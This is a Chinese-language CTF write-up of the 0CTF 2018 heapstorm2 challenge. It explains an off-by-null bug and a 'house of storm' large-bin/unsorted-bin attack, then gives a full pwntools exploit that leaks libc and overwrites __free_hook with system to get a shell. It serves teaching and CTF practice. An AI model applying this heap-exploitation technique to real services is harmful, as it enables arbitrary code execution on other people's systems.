BUUCT-PWN 0ctf_2018_heapstorm2(house of storm)

題目分析

在這裏插入圖片描述
這題估計是house of storm利用的起源?
因爲用這種辦法直接就可以做通,後面還有rctf_2019_babyheap也需要用到house of storm,但是那題限制條件多多了
init()裏先把fastbin禁用了
在這裏插入圖片描述
申請了0x13370000這塊內存,並且做了初始化
在這裏插入圖片描述
初始化首先讀入長度爲0x18的隨機數,就記爲3個long long隨機數吧,分別爲r1,r2,r3,然後從0x13370820開始,左邊和r1亦或,右邊和r2亦或(在後邊使用中,左邊是分配的存放內容的地址與r1亦或結果,右邊是size和r2亦或結果)
在這裏插入圖片描述
update中限制了讀入長度爲size-12,並且有一個off-by-null漏洞
在這裏插入圖片描述

漏洞利用

  1. 首先,我們申請這麼幾個堆
add(0x18)#0
add(0x508)#1
add(0x18)#2
add(0x18)#3
add(0x508)#4
add(0x18)#5
add(0x18)#6
  1. 編輯chunk1,在chunk2-0x10的地方寫入0x500,這樣做是爲了錯位,防止之後申請的時候的chunk2的inuse位置1,然後刪除chunk1,把chunk2的inuse變爲0(這裏chunk2的inuse表示chunk1是否空閒)
  2. 利用off-by-null漏洞編輯chunk1,使得chunk1的size變爲0x500
  3. 再次申請,大小分別爲0x18,0x4d8,idx分別爲1和7,這樣剛好分配了0x500的空間,把剛剛釋放得到chunk1用完了
  4. 刪除idx1,然後刪除chunk2,此時會進行chunk1和2的合併,合併之後大小爲0x530。這時候再申請一個0x38和0x4e8大小的堆,idx分別爲1,2,這就造成了重疊:即idx7的指向idx2的chunk-0x10位置處
  5. 按上面的方法再進行一次重疊,記這一步申請出的0x4d8爲idx8,當合並出0x530的chunk後,申請0x48大小的堆,idx爲4。此時unsorted bin還剩0x4e0大小的chunk
  6. 此時刪除idx2,該chunk進入unsortedbin,然後把它申請回來,這個時候會把上一步剩下的0x4e0chunk弄進largin bin中,這樣Idx8就能控制一個free的large bin
  7. 重新把2刪除,這樣idx7就能控制一個free的unsorted bin,chunk大小爲0x4f0
  8. 現在,編輯idx7,把unsorted bin的bk改爲0x13370000-0x20(0x133707e0),編輯idx8,把large bin的bk改爲0x13370000-0x18,bk_nextsize改爲0x13370000-0x20-0x18-5
  9. 這時,申請一個0x48大小的堆,如果我們運氣好,就能成功,此時申請出的堆指向0x133707f0,結果如下圖:
    我們申請出0x133707e0處僞造出的的chunk
    在這裏插入圖片描述
    這是large bin
    在這裏插入圖片描述
    這是unsorted bin
    在這裏插入圖片描述
    在這裏插入圖片描述

這一步的原理就比較複雜了,下面我儘量解釋清楚:
我們在申請一個0x48大小的堆,需要chunk大小爲0x50,首先libc中代碼會從fastbin中尋找,之後又在small bin尋找,但是它們都爲空,所以就從unsorted bin中尋找是否有合適的chunk,此時由於我們的僞造實際上unsorted bin中有2個chunk,首先被判斷的是0x4f0大小的chunk,顯然大小不對,而由於unsorted bin還有其他chunk,因此不會切割它,而是要把它放入large bin中
此時large bin中已經有了大小0x4e0的chunk,我們要把0x4f0的chunk放進去,就會執行以下操作

victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
....
....
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

其中victim爲要進行插入的0x4f0大小chunk,fwd爲large bin中0x4e0大小的chunk
我們重點關注以下幾個操作

victim->bk_nextsize = fwd->bk_nextsize;
victim->bk_nextsize->fd_nextsize = victim;

fwd->bk_nextsize爲0x133707c3,他的fd_nextsize就爲0x133707e3,libc會向其中寫入victim的地址

把該chunk放入large bin之後,libc會接着檢查unsorted bin中下一個chunk(即我們僞造的0x133707e0),此時由於錯位,該chunk的size正好是0x50,然後就被分配給我們了
在這裏插入圖片描述
但爲什麼說要運氣好才能成功,因爲還要滿足這個條件,is_mmapped爲倒數第二個bit,所以我們需要victim開頭是0x56才能滿足

assert (!mem || chunk_is_mmapped (mem2chunk (mem)) ||
         av == arena_for_chunk (mem2chunk (mem)));
  1. 現在我們都已經申請出0x13370800這塊地方,接下來就可以寫入我們需要的地址進行泄露或者編輯了
payload = p64(0)*4 + p64(0) + p64(0x13377331) + p64(storage)
edit(2, payload)

payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(fake_chunk+3) + p64(8)
edit(0, payload)

show(1)
r.recvuntil("]: ")
heap = u64(r.recv(6).ljust(8, '\x00'))
success("heap:"+hex(heap))

payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(heap+0x10) + p64(8)
edit(0, payload)

show(1)
r.recvuntil("]: ")
malloc_hook = u64(r.recv(6).ljust(8, '\x00')) -0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
success("malloc_hook:"+hex(malloc_hook))

payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(free_hook) + p64(0x100) + p64(storage+0x50) + p64(8) + '/bin/sh\x00'
edit(0, payload)
edit(1, p64(system))
delete(2)

第一次編輯,在idx0出寫入0x13370800,由於0x48長度限制只能寫到這裏
在這裏插入圖片描述
第二次編輯,利用0x133707e3處的地址獲得一個堆上地址,並利用該chunk泄露libc
在這裏插入圖片描述

Exp

from pwn import *

#r = remote("node3.buuoj.cn", 26141)
#r = process("./0ctf_2018_heapstorm2")

context.log_level = 'debug'

elf = ELF("./0ctf_2018_heapstorm2")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]

menu = "Command: "
def add(size):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("Size: ")
	r.sendline(str(size))

def delete(index):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("Index: ")
	r.sendline(str(index))

def show(index):
	r.recvuntil(menu)
	r.sendline('4')
	r.recvuntil("Index: ")
	r.sendline(str(index))

def edit(index,content):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("Index: ")
	r.sendline(str(index))
	r.recvuntil("Size: ")
	r.sendline(str(len(content)))
	r.recvuntil("Content: ")
	r.send(content)

def pwn():
	add(0x18)#0
	add(0x508)#1
	add(0x18)#2
	add(0x18)#3
	add(0x508)#4
	add(0x18)#5
	add(0x18)#6

	edit(1, 'a'*0x4f0+p64(0x500))
	delete(1)
	edit(0, 'a'*(0x18-12))
	add(0x18)#1
	add(0x4d8)#7
	delete(1)
	delete(2)
	add(0x38)#1
	add(0x4e8)#2

	edit(4, 'a'*0x4f0+p64(0x500))
	delete(4)
	edit(3, 'a'*(0x18-12))
	add(0x18)#4
	add(0x4d8)#8
	delete(4)
	delete(5)
	add(0x48)#4

	delete(2)
	add(0x4e8)#2
	delete(2)

	storage = 0x13370800
	fake_chunk = storage - 0x20
	payload = '\x00' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
	edit(7, payload)
	payload = '\x00' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) + p64(0) + p64(fake_chunk-0x18-5)
	edit(8, payload)

	add(0x48) #0x133707e0
	payload = p64(0)*4 + p64(0) + p64(0x13377331) + p64(storage)
	edit(2, payload)
	
	payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(fake_chunk+3) + p64(8)
	edit(0, payload)
	
	show(1)
	r.recvuntil("]: ")
	heap = u64(r.recv(6).ljust(8, '\x00'))
	success("heap:"+hex(heap))
	
	payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(heap+0x10) + p64(8)
	edit(0, payload)
	
	show(1)
	r.recvuntil("]: ")
	malloc_hook = u64(r.recv(6).ljust(8, '\x00')) -0x58 - 0x10
	libc.address = malloc_hook - libc.sym['__malloc_hook']
	free_hook = libc.sym['__free_hook']
	system = libc.sym['system']
	success("malloc_hook:"+hex(malloc_hook))
	
	payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(free_hook) + p64(0x100) + p64(storage+0x50) + p64(8) + '/bin/sh\x00'
	edit(0, payload)
	edit(1, p64(system))
	delete(2)
	
	
	r.interactive()

if __name__ == "__main__":
	#pwn()

	while True:
		r = remote("node3.buuoj.cn", 26141)
		try:
			pwn()
		except:
			r.close()
			

最後附上一篇講large bin attack比較詳細的博文
Largebin 學習

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章